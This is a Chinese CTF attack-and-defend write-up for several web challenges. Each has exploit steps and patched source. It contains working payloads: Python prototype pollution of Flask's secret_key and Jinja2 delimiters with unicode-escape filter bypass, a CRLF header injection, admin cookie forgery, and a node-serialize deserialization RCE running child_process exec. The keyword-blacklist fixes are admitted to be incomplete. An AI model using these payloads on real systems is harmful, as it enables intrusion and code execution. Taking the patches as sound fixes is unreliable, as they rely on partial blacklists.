WEB
差不多2小时就把web给ak了，没想到华东南强度最大的不是题目，而是场地连续8小时的30多度高温(
welcome
submit-BREAK
submit-FIX
修复点在upload.php
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$name=$_FILES['myfile']['name'];
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
function wafupload($filename)
{$blacklist = "ph|Ph|pH|PH|ini|htaccess|ht";if(preg_match("/".$blacklist."/is",$filename)){die('hacker');}
}
wafupload($name);
if (!in_array($type, $allow_content_type)) {die("只允许png哦!<br>");
}
if (preg_match('/(php|script|xml|user|htaccess|\?|fllllagg)/i', $content)) {// echo "匹配成功!";die('鼠鼠说你的内容不符合哦0-0');
} else {$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {file_put_contents($file, $content);echo 'Success!<br>';
} else {echo 'Error!<br>';
}
}
?><!---->Polluted-BREAK
python原型链污染secret_key
{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"gxngxngxn"} } } }
由于过滤了关键字，采用unicode编码绕过
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"gxngxngxn"}}}
}
接着登录
看到[%flag%]是这种形式的，想到了污染jinja2的语法标识符为[%%]，让他输出flag
{"__init__" : {"__globals__" : {"app" : {"jinja_env" :{
"variable_start_string" : "[%","variable_end_string":"%]"
} }}}
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[%","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"%]"
}}}}
}
接着重置靶机，再一次性发送上述所有payload即可，登录即可得到flag
Polluted-FIX
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import redef generate_random_md5():random_string = os.urandom(16)md5_hash = hashlib.md5(random_string)return md5_hash.hexdigest()
def filter(user_input):blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','005f','%','006c']for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):return Truereturn False
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)app = Flask(__name__)
app.secret_key = generate_random_md5()class evil():def __init__(self):pass@app.route('/',methods=['POST'])
def index():username = request.form.get('username')password = request.form.get('password')session["username"] = usernamesession["password"] = passwordEvil = evil()if request.data:if filter(str(request.data)):return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"else:merge(json.loads(request.data), Evil)return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"return render_template("index.html")@app.route('/admin',methods=['POST', 'GET'])
def templates():username = session.get("username", None)password = session.get("password", None)if username and password:if username == "adminer" and password == app.secret_key:return render_template("important.html", flag=open("/flag", "rt").read())else:return "Unauthorized"else:return f'Hello, This is the POLLUTED page.'if __name__ == '__main__':app.run(host='0.0.0.0',debug=True, port=80)粗心的程序员-BREAK
www.zip下载源码
看到home.php中
这里会记录请求头中X-Forwarded-For的值和username的值，然后写入到config.php中
所以我们可以让X-Forwarded-For为恶意代码，username弄个换行之类的来绕过注释
看到这里会过滤换行\n,但是没过滤\r,所以修改用户名中带有\r即可
<?php echo base64_encode(urldecode("gxngxngxn%0d"));
生成一个base64加密的，然后修改用户名
接着带着自定义的X-Forwarded-For的值去访问home.php即可
接着访问config.php即可得到flag
粗心的程序员-FIX
修改home.php
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:|system|eval|\?|flaaaaaag/i",$p))
{die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){echo "Hello,"."$username";$str = "//登陆时间$time,$username $p";$str = str_replace("\n","",$str);$str = str_replace("\r","",$str);file_put_contents("config.php",file_get_contents("config.php").$str);
}else{die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>function submitData(){var obj = new Object();obj.name = $('#newusername').val();var str = $.base64.encode(JSON.stringify(obj.name).replace("\"","").replace("\"",""));$.post("edit.php",{newusername: str},function(str){alert(str);location.reload()});}jQuery.base64 = (function($) {var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function utf8Encode(string) {string = string.replace(/\r\n/g,"\n");var utftext = "";for (var n = 0; n < string.length; n++) {var c = string.charCodeAt(n);if (c < 128) {utftext += String.fromCharCode(c);}else if((c > 127) && (c < 2048)) {utftext += String.fromCharCode((c >> 6) | 192);utftext += String.fromCharCode((c & 63) | 128);}else {utftext += String.fromCharCode((c >> 12) | 224);utftext += String.fromCharCode(((c >> 6) & 63) | 128);utftext += String.fromCharCode((c & 63) | 128);}}return utftext;}function encode(input) {var output = "";var chr1, chr2, chr3, enc1, enc2, enc3, enc4;var i = 0;input = utf8Encode(input);while (i < input.length) {chr1 = input.charCodeAt(i++);chr2 = input.charCodeAt(i++);chr3 = input.charCodeAt(i++);enc1 = chr1 >> 2;enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);enc4 = chr3 & 63;if (isNaN(chr2)) {enc3 = enc4 = 64;} else if (isNaN(chr3)) {enc4 = 64;}output = output +keyStr.charAt(enc1) + keyStr.charAt(enc2) +keyStr.charAt(enc3) + keyStr.charAt(enc4);}return output;}return {encode: function (str) {return encode(str);}};}(jQuery));</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()" >更改</button>
bigfish-BREAK
访问/admin路由得到后台登录地址
显示登录功能已经禁用，查看cookie，看到这里可以直接设置用户名和is_admin
改下username为admin，is_admin为true
直接访问后台
数据储存位置存在任意文件读取，直接读fish.js
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');// Change working directory to /srv
process.chdir('/srv');let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {fs.writeFile('data.html',"#获取的数据信息\n",function(error){console.log("wriet error")});
});const app = express();app.engine('html',require('express-art-template'))app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))data_path = "data.html";// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {if (!req.cookies.username) {res.cookie('username', 'normal');}if (!req.cookies.is_admin) {res.cookie('is_admin', 'false');}next();
}//主页
app.get('/', function(req, res) {res.sendFile(path.join(__dirname, 'public/index.html'));
});app.post('/',function(req, res){fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){console.log(req.body)});res.sendFile(path.join(__dirname, 'public/index.html'));
});//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){res.render('admin.html',{datadir : data_path});}
});app.post('/admin', setDefaultAdminCookies, function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){if(req.body.newname){data_path = req.body.newname;res.redirect('admin');}else{res.redirect('admin');}}
});//已弃用的登录
app.get('/login', function(req, res) {res.sendFile(path.join(__dirname, 'public/login.html'));
});app.post('/login', function(req, res) {if(req.cookies.profile){var str = new Buffer(req.cookies.profile, 'base64').toString();var obj = serialize.unserialize(str);if (obj.username) {if (escape(obj.username) === "admin") {res.send("Hello World");}}}else{res.sendFile(path.join(__dirname, 'public/data'));}
});//QQ
app.get('/qq', function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){res.sendFile(path.join(__dirname, data_path));}
});app.listen(80, '0.0.0.0');
重点看到这块，存在nodejs反序列化板块rce
app.post('/login', function(req, res) {if(req.cookies.profile){var str = new Buffer(req.cookies.profile, 'base64').toString();var obj = serialize.unserialize(str);if (obj.username) {if (escape(obj.username) === "admin") {res.send("Hello World");}}}else{res.sendFile(path.join(__dirname, 'public/data'));}
});
直接上payload,
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /tmp/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"}
这里执行命令是无回显的，那么我们将回显内容写入文件中，利用前面的任意文件读取即可
修改位置，访问得到flag
bigfish-FIX(乱修的,最后说还要修什么xss,找半天没找到,最后还是没修好)
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');// Change working directory to /srv
process.chdir('/srv');let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {fs.writeFile('data.html',"#获取的数据信息\n",function(error){console.log("wriet error")});
});const app = express();app.engine('html',require('express-art-template'))app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))data_path = "data.html";// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {if (!req.cookies.username) {res.cookie('username', 'normal');}if (!req.cookies.is_admin) {res.cookie('is_admin', 'false');}next();
}//主页
app.get('/', function(req, res) {res.sendFile(path.join(__dirname, 'public/index.html'));
});app.post('/',function(req, res){fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){console.log("No Xss")});res.sendFile(path.join(__dirname, 'public/index.html'));
});//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){res.render('admin.html',{datadir : data_path});}
});app.post('/admin', setDefaultAdminCookies, function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){if(req.body.newname){var newname=req.body.newnameif(newname.includes('..')){throw new Error("No Readfile"); }else{data_path = "data.htm";}res.redirect('admin');}else{res.redirect('admin');}}
});//已弃用的登录
app.get('/login', function(req, res) {res.sendFile(path.join(__dirname, 'public/login.html'));
});app.post('/login', function(req, res) {if(req.cookies.profile){const keywords = ["rce", "\\$","require","exec","child_process","spawn","Rce","RCE","RCe","RcE","rcE","rCE"];var str = new Buffer(req.cookies.profile, 'base64').toString();for (const i of keywords) {if (str.includes(i)) {throw new Error("No RCE");}else{var obj = serialize.unserialize(str);}}if (obj.username) {if (escape(obj.username) === "admin") {res.send("Hello World");}}}else{res.sendFile(path.join(__dirname, 'public/data'));}
});//QQ
app.get('/qq', function(req, res) {if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){res.redirect('login');}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){res.sendFile(path.join(__dirname, "data.htm"));}
});app.listen(80, '0.0.0.0');
